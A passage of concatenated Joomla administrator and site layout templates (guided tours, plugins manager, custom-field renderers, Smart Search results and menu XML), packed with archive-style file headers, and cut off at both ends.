use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_GUIDEDTOURS_STEPS',
    'formURL'    => 'index.php?option=com_guidedtours&view=steps',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Guided_Tours:_Steps',
    'icon'       => 'icon-map-signs',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_guidedtours')) {
    $displayData['createURL'] = 'index.php?option=com_guidedtours&task=step.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
tour/edit.php000064400000007277151730245620007215 0ustar00<?php

/**
 * @package       Joomla.Administrator
 * @subpackage    com_guidedtours
 *
 * @copyright     (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

$app   = Factory::getApplication();
$user  = $app->getIdentity();
$input = $app->getInput();
$lang  = $this->getLanguage()->getTag();

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');
?>

<form action="<?php echo Route::_('index.php?option=com_guidedtours&view=tour&layout=edit&id=' .
    (int) $this->item->id); ?>" method="post" name="adminForm" id="guidedtours-form" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <?php if ($this->item->id != 0 && strpos($this->item->title, 'GUIDEDTOUR') !== false) : ?>
        <div class="row title-alias form-vertical mb-3">
            <div class="col-12">
                <?php $this->form->setFieldAttribute('title_translation', 'label', Text::sprintf('COM_GUIDEDTOURS_TITLE_TRANSLATION', $lang)); ?>
                <?php echo $this->form->renderField('title_translation'); ?>
            </div>
        </div>
    <?php endif; ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', empty($this->item->id) ? Text::_('COM_GUIDEDTOURS_NEW_TOUR') : Text::_('COM_GUIDEDTOURS_EDIT_TOUR')); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php echo $this->form->renderField('url'); ?>
                <?php echo $this->form->renderField('description'); ?>

                <?php if ($this->item->id != 0 && strpos($this->item->description, 'GUIDEDTOUR') !== false) : ?>
                    <?php $this->form->setFieldAttribute('description_translation', 'label', Text::sprintf('COM_GUIDEDTOURS_DESCRIPTION_TRANSLATION', $lang)); ?>
                    <?php echo $this->form->renderField('description_translation'); ?>
                <?php endif; ?>
            </div>

            <div class="col-lg-3">
                <?php
                    // Set main fields.
                    $this->fields = [
                        'published',
                        'access',
                        'language',
                        'extensions',
                        'note',
                    ];

                    echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
        <div class="row">
            <div class="col-12 col-lg-8">
                <fieldset id="fieldset-publishingdata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                    <div>
                        <?php
                        $this->fields = [];
                        echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                    </div>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
step/edit.php000064400000007707151730245620007175 0ustar00<?php

/**
 * @package       Joomla.Administrator
 * @subpackage    com_guidedtours
 *
 * @copyright     (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\MVC\View\GenericDataException;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

if (empty($this->item->tour_id)) {
    throw new GenericDataException("\nThe Tour id was not set!\n", 500);
}

$lang = $this->getLanguage()->getTag();
?>

<form action="<?php echo Route::_('index.php?option=com_guidedtours&view=step&layout=edit&id=' .
    (int) $this->item->id); ?>" method="post" name="adminForm" id="guidedtour-dates-form" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <?php if ($this->item->id != 0 && strpos($this->item->title, 'GUIDEDTOUR') !== false) : ?>
        <div class="row title-alias form-vertical mb-3">
            <div class="col-12">
                <?php $this->form->setFieldAttribute('title_translation', 'label', Text::sprintf('COM_GUIDEDTOURS_STEP_TITLE_TRANSLATION', $lang)); ?>
                <?php echo $this->form->renderField('title_translation'); ?>
            </div>
        </div>
    <?php endif; ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', empty($this->item->id) ? Text::_('COM_GUIDEDTOURS_STEP_NEW_STEP') : Text::_('COM_GUIDEDTOURS_STEP_EDIT_STEP')); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php echo $this->form->renderField('description'); ?>

                <?php if ($this->item->id != 0 && strpos($this->item->description, 'GUIDEDTOUR') !== false) : ?>
                    <?php $this->form->setFieldAttribute('description_translation', 'label', Text::sprintf('COM_GUIDEDTOURS_STEP_DESCRIPTION_TRANSLATION', $lang)); ?>
                    <?php echo $this->form->renderField('description_translation'); ?>
                <?php endif; ?>
            </div>

            <div class="col-lg-3">
                <?php
                // Set main fields.
                $this->fields = [
                    'published',
                    'language',
                    'position',
                    'target',
                    'type',
                    'url',
                    'interactive_type',
                    'note',
                ];

                $this->hidden_fields = [
                    'tour_id',
                ];

                echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
        <div class="row">
            <div class="col-12 col-lg-8">
                <fieldset id="fieldset-publishingdata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                    <div>
                        <?php
                            $this->fields = [];
                            $this->hidden_fields = [];
                            echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                    </div>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>
    <input type="hidden" name="task" value="">
    <?php echo $this->form->getInput('tour_id'); ?>
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
usergrouplist.php000064400000001212151730307270010205 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Usergrouplist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Component\Users\Administrator\Helper\UsersHelper;

$value = $field->value;

if ($value == '') {
    return;
}

$value  = (array) $value;
$texts  = [];
$groups = UsersHelper::getGroups();

foreach ($groups as $group) {
    if (in_array($group->value, $value)) {
        $texts[] = htmlentities(trim($group->text, '- '));
    }
}

echo htmlentities(implode(', ', $texts));
plugins/default.php000064400000020500151730357250010367 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'ordering';

if ($saveOrder) {
    $saveOrderingUrl = 'index.php?option=com_plugins&task=plugins.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_plugins&view=plugins'); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table" id="pluginList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_PLUGINS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <td class="w-1 text-center">
                            <?php echo HTMLHelper::_('grid.checkall'); ?>
                        </td>
                        <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', '', 'ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                        </th>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'enabled', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="title">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PLUGINS_NAME_HEADING', 'name', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PLUGINS_FOLDER_HEADING', 'folder', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_PLUGINS_ELEMENT_HEADING', 'element', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-5 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'extension_id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody <?php if ($saveOrder) :
                    ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                       endif; ?>>
                <?php foreach ($this->items as $i => $item) :
                    $ordering   = ($listOrder == 'ordering');
                    $canEdit    = $user->authorise('core.edit', 'com_plugins');
                    $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->get('id') || is_null($item->checked_out);
                    $canChange  = $user->authorise('core.edit.state', 'com_plugins') && $canCheckin;
                    ?>
                    <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->folder; ?>">
                        <td class="text-center">
                            <?php echo HTMLHelper::_('grid.id', $i, $item->extension_id, false, 'cid', 'cb', $item->name); ?>
                        </td>
                        <td class="text-center d-none d-md-table-cell">
                            <?php
                            $iconClass = '';
                            if (!$canChange) {
                                $iconClass = ' inactive';
                            } elseif (!$saveOrder) {
                                $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                            }
                            ?>
                            <span class="sortable-handler<?php echo $iconClass; ?>">
                                <span class="icon-ellipsis-v" aria-hidden="true"></span>
                            </span>
                            <?php if ($canChange && $saveOrder) : ?>
                                <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                            <?php endif; ?>
                        </td>
                        <td class="text-center">
                            <?php echo HTMLHelper::_('jgrid.published', $item->enabled, $i, 'plugins.', $canChange); ?>
                        </td>
                        <th scope="row">
                            <?php if ($item->checked_out) : ?>
                                <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'plugins.', $canCheckin); ?>
                            <?php endif; ?>
                            <?php if ($canEdit) : ?>
                                <a href="<?php echo Route::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . (int) $item->extension_id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->name); ?>">
                                    <?php echo $item->name; ?></a>
                                    <?php if (!empty($item->note)) : ?>
                                        <div class="small">
                                            <?php echo Text::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
                                        </div>
                                    <?php endif; ?>
                            <?php else : ?>
                                    <?php echo $item->name; ?>
                            <?php endif; ?>
                        </th>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->folder); ?>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->element); ?>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_level); ?>
                        </td>
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->extension_id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
plugins/default.xml000064400000000320151730357250010376 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_PLUGINS_PLUGINS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_PLUGINS_PLUGINS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
plugin/edit.php000064400000013422151730357250007512 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$this->fieldsets = $this->form->getFieldsets('params');
$this->useCoreUI = true;

$input = Factory::getApplication()->getInput();

// In case of modal
$isModal  = $input->get('layout') === 'modal';
$layout   = $isModal ? 'modal' : 'edit';
$tmpl     = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo Route::_('index.php?option=com_plugins&view=plugin&layout=' . $layout . $tmpl . '&extension_id=' . (int) $this->item->extension_id); ?>" method="post" name="adminForm" id="style-form" aria-label="<?php echo Text::_('COM_PLUGINS_FORM_EDIT'); ?>" class="form-validate">
    <div class="main-card">

        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', Text::_('COM_PLUGINS_PLUGIN')); ?>

        <div class="row mt-2">
            <div class="col-lg-9">
                <?php if ($this->item->xml) : ?>
                    <?php if ($this->item->xml->description) : ?>
                        <h2>
                        <?php
                        if ($this->item->xml) {
                            echo ($text = (string) $this->item->xml->name) ? Text::_($text) : $this->item->name;
                        } else {
                            echo Text::_('COM_PLUGINS_XML_ERR');
                        }
                        ?>
                        </h2>
                        <div class="info-labels mb-1">
                            <span class="badge bg-secondary">
                                <?php echo $this->form->getValue('folder'); ?>
                            </span> /
                            <span class="badge bg-secondary">
                                <?php echo $this->form->getValue('element'); ?>
                            </span>
                        </div>
                        <div>
                            <?php
                            $this->fieldset    = 'description';
                            $short_description = Text::_($this->item->xml->description);
                            $long_description  = LayoutHelper::render('joomla.edit.fieldset', $this);

                            if (!$long_description) {
                                $truncated = HTMLHelper::_('string.truncate', $short_description, 550, true, false);

                                if (strlen($truncated) > 500) {
                                    $long_description  = $short_description;
                                    $short_description = HTMLHelper::_('string.truncate', $truncated, 250);

                                    if ($short_description == $long_description) {
                                        $long_description = '';
                                    }
                                }
                            }
                            ?>
                            <p><?php echo $short_description; ?></p>
                            <?php if ($long_description) : ?>
                                <p class="readmore">
                                    <a href="#" onclick="document.querySelector('[aria-controls=description]').click();">
                                        <?php echo Text::_('JGLOBAL_SHOW_FULL_DESCRIPTION'); ?>
                                    </a>
                                </p>
                            <?php endif; ?>
                        </div>
                    <?php endif; ?>
                <?php else : ?>
                        <div class="alert alert-danger">
                        <span class="icon-exclamation-triangle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('ERROR'); ?></span>
                            <?php echo Text::_('COM_PLUGINS_XML_ERR'); ?>
                        </div>
                <?php endif; ?>
                <?php
                $this->fieldset = 'basic';
                $html = LayoutHelper::render('joomla.edit.fieldset', $this);
                echo $html ? '<hr>' . $html : '';
                ?>
            </div>
            <div class="col-lg-3">
                <?php
                // Set main fields.
                $this->fields = [
                    'enabled',
                    'access',
                    'ordering',
                    'folder',
                    'element',
                    'note',
                ]; ?>
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if (isset($long_description) && $long_description != '') : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'description', Text::_('JGLOBAL_FIELDSET_DESCRIPTION')); ?>
            <?php echo $long_description; ?>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php endif; ?>

        <?php
        $this->fieldsets = [];
        $this->ignore_fieldsets = ['basic', 'description'];
        echo LayoutHelper::render('joomla.edit.params', $this);
        ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
plugin/modal.php000064400000001307151730357250007660 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('plugin.apply');"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('plugin.save');"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('plugin.cancel');"></button>

<div class="container-popup">
    <?php $this->setLayout('edit'); ?>
    <?php echo $this->loadTemplate(); ?>
</div>

editor.php000064400000000621151731036240006544 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Editor
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

$value = $field->value;

if ($value == '') {
    return;
}

echo HTMLHelper::_('content.prepare', $value);
search/default_results.php000064400000011115151731051720011730 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

?>
<?php // Display the suggested search if it is different from the current search. ?>
<?php if (($this->suggested && $this->params->get('show_suggested_query', 1)) || ($this->explained && $this->params->get('show_explained_query', 1))) : ?>
    <div id="search-query-explained" class="com-finder__explained">
        <?php // Display the suggested search query. ?>
        <?php if ($this->suggested && $this->params->get('show_suggested_query', 1)) : ?>
            <?php // Replace the base query string with the suggested query string. ?>
            <?php $uri = Uri::getInstance($this->query->toUri()); ?>
            <?php $uri->setVar('q', $this->suggested); ?>
            <?php // Compile the suggested query link. ?>
            <?php $linkUrl = Route::_($uri->toString(['path', 'query'])); ?>
            <?php $link = '<a href="' . $linkUrl . '">' . $this->escape($this->suggested) . '</a>'; ?>
            <?php echo Text::sprintf('COM_FINDER_SEARCH_SIMILAR', $link); ?>
        <?php elseif ($this->explained && $this->params->get('show_explained_query', 1)) : ?>
            <?php // Display the explained search query. ?>
            <p role="alert">
                <?php echo Text::plural('COM_FINDER_QUERY_RESULTS', $this->total, $this->explained); ?>
            </p>
        <?php endif; ?>
    </div>
<?php endif; ?>
<?php // Display the 'no results' message and exit the template. ?>
<?php if (($this->total === 0) || ($this->total === null)) : ?>
    <div id="search-result-empty" class="com-finder__empty">
        <h2><?php echo Text::_('COM_FINDER_SEARCH_NO_RESULTS_HEADING'); ?></h2>
        <?php $multilang = Factory::getApplication()->getLanguageFilter() ? '_MULTILANG' : ''; ?>
        <p><?php echo Text::sprintf('COM_FINDER_SEARCH_NO_RESULTS_BODY' . $multilang, $this->escape($this->query->input)); ?></p>
    </div>
    <?php // Exit this template. ?>
    <?php return; ?>
<?php endif; ?>
<?php // Display the 'Sort By' drop-down. ?>
<?php if ($this->params->get('show_sort_order', 0) && !empty($this->sortOrderFields) && !empty($this->results)) : ?>
    <div id="search-sorting" class="com-finder__sorting">
        <?php echo $this->loadTemplate('sorting'); ?>
    </div>
<?php endif; ?>
<?php // Activate the highlighter if enabled. ?>
<?php if (!empty($this->query->highlight) && $this->params->get('highlight_terms', 1)) : ?>
    <?php
        // Allow a maximum of 10 tokens to be highlighted. Otherwise the URL can get too long.
        $this->document->getWebAssetManager()->useScript('highlight');
        $this->document->addScriptOptions(
            'highlight',
            [[
                    'class'      => 'js-highlight',
                    'highLight'  => array_slice($this->query->highlight, 0, 10),
            ]]
        );
    ?>
<?php endif; ?>
<?php // Display a list of results ?>
<ol id="search-result-list" class="js-highlight com-finder__results-list" start="<?php echo (int) $this->pagination->limitstart + 1; ?>">
    <?php $this->baseUrl = Uri::getInstance()->toString(['scheme', 'host', 'port']); ?>
    <?php foreach ($this->results as $i => $result) : ?>
        <?php $this->result = &$result; ?>
        <?php $this->result->counter = $i + 1; ?>
        <?php $layout = $this->getLayoutFile($this->result->layout); ?>
        <?php echo $this->loadTemplate($layout); ?>
    <?php endforeach; ?>
</ol>
<?php // Display the pagination ?>
<div class="com-finder__navigation search-pagination">
    <?php if ($this->params->get('show_pagination', 1) > 0) : ?>
    <div class="com-finder__pagination w-100">
        <?php echo $this->pagination->getPagesLinks(); ?>
    </div>
    <?php endif; ?>
    <?php if ($this->params->get('show_pagination_results', 1) > 0) : ?>
        <div class="com-finder__counter search-pages-counter">
            <?php // Prepare the pagination string.  Results X - Y of Z ?>
            <?php $start = (int) $this->pagination->limitstart + 1; ?>
            <?php $total = (int) $this->pagination->total; ?>
            <?php $limit = (int) $this->pagination->limit * $this->pagination->pagesCurrent; ?>
            <?php $limit = (int) ($limit > $total ? $total : $limit); ?>
            <?php echo Text::sprintf('COM_FINDER_SEARCH_RESULTS_OF', $start, $limit, $total); ?>
        </div>
    <?php endif; ?>
</div>
search/default_sorting.php000064400000003542151731051720011721 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<?php HTMLHelper::_('bootstrap.dropdown', '.dropdown-toggle'); ?>
<div class="sorting">
    <label id="sorting_label" for="sorting_btn"><?php echo Text::_('COM_FINDER_SORT_BY'); ?></label>
    <div class="sorting__select btn-group">
        <?php foreach ($this->sortOrderFields as $sortOrderField) : ?>
            <?php if ($sortOrderField->active) : ?>
                <button id="sorting_btn" class="btn btn-secondary dropdown-toggle" type="button"
                        data-bs-toggle="dropdown"
                        aria-haspopup="listbox"
                        aria-expanded="false" aria-controls="finder_sorting_list">
                    <?php echo $this->escape($sortOrderField->label); ?>
                </button>
                <?php
                break;
            endif; ?>
        <?php endforeach; ?>

        <ul id="finder_sorting_list" class="sorting__list block dropdown-menu" role="listbox" aria-labelledby="finder_sorting_desc">
            <?php foreach ($this->sortOrderFields as $sortOrderField) : ?>
            <li  class="sorting__list-li <?php echo $sortOrderField->active ? 'sorting__list-li-active' : ''; ?>">
                <a class="dropdown-item" role="option" href="<?php echo Route::_($sortOrderField->url);?>" <?php echo $sortOrderField->active ? 'aria-current="true"' : ''; ?>>
                    <?php echo $this->escape($sortOrderField->label); ?>
                </a>
            </li>
            <?php endforeach; ?>
        </ul>
    </div>
    <div class="clearfix"></div>
</div>
search/default.xml000064400000020001151731051720010152 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE">
		<help
			key = "Menu_Item:_Search"
		/>
		<message>
			<![CDATA[COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT]]>
		</message>
	</layout>

	<fields name="request" addfieldprefix="Joomla\Component\Finder\Administrator\Field" >
		<fieldset name="request">
			<field
				name="q"
				type="text"
				label="COM_FINDER_PREFILL_SEARCH_LABEL"
			/>
			<field
				name="f"
				type="searchfilter"
				label="COM_FINDER_SELECT_FILTER_LABEL"
				default=""
			/>
		</fieldset>
	</fields>
	<fields name="params">
		<fieldset name="basic">
			<field
				name="show_date_filters"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="show_advanced"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="expand_advanced"
				type="list"
				label="COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field type="spacer" />
			<field
				name="show_taxonomy"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_TAXONOMY_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="show_description"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="description_length"
				type="number"
				label="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL"
				filter="integer"
				default=""
				useglobal="true"
			/>
			<field
				name="show_image"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_IMAGE_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="image_class"
				type="text"
				label="COM_FINDER_CONFIG_IMAGE_CLASS_LABEL"
				default=""
				useglobal="true"
				validate="CssIdentifier"
				showon="show_image!:0"
			/>
			<field
				name="link_image"
				type="list"
				label="COM_FINDER_CONFIG_LINKED_IMAGE_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				showon="show_image!:0"
			>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
			<field
				name="show_date"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DATE_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="show_url"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_URL_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field type="spacer" />
		</fieldset>
		<fieldset name="advanced">
			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				validate="options"
				class="form-select-color-state"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				validate="options"
				class="form-select-color-state"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>
			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				validate="options"
				class="form-select-color-state"
				>
